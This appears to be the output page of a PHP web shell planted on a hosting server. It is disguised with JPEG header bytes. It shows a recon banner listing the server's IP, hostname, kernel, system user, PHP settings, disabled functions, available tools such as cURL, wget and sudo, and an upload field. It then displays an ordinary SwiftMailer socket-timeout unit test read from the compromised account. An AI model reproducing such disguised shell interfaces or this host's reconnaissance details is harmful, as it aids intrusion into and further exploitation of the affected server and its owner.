ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 18.117.7.42 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/nicnAdmin/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Transport/StreamBuffer/ |
Upload File : |
<?php class Swift_Transport_StreamBuffer_SocketTimeoutTest extends \PHPUnit_Framework_TestCase { protected $_buffer; protected $_randomHighPort; protected $_server; public function setUp() { if (!defined('SWIFT_SMTP_HOST')) { $this->markTestSkipped( 'Cannot run test without an SMTP host to connect to (define '. 'SWIFT_SMTP_HOST in tests/acceptance.conf.php if you wish to run this test)' ); } $serverStarted = false; for ($i = 0; $i < 5; ++$i) { $this->_randomHighPort = rand(50000, 65000); $this->_server = stream_socket_server('tcp://127.0.0.1:'.$this->_randomHighPort); if ($this->_server) { $serverStarted = true; } } $this->_buffer = new Swift_Transport_StreamBuffer( $this->getMock('Swift_ReplacementFilterFactory') ); } protected function _initializeBuffer() { $host = '127.0.0.1'; $port = $this->_randomHighPort; $this->_buffer->initialize(array( 'type' => Swift_Transport_IoBuffer::TYPE_SOCKET, 'host' => $host, 'port' => $port, 'protocol' => 'tcp', 'blocking' => 1, 'timeout' => 1, )); } public function testTimeoutException() { $this->_initializeBuffer(); $e = null; try { $line = $this->_buffer->readLine(0); } catch (Exception $e) { } $this->assertInstanceof('Swift_IoException', $e, 'IO Exception Not Thrown On Connection Timeout'); $this->assertRegExp('/Connection to .* Timed Out/', $e->getMessage()); } public function tearDown() { if ($this->_server) { stream_socket_shutdown($this->_server, STREAM_SHUT_RDWR); } } }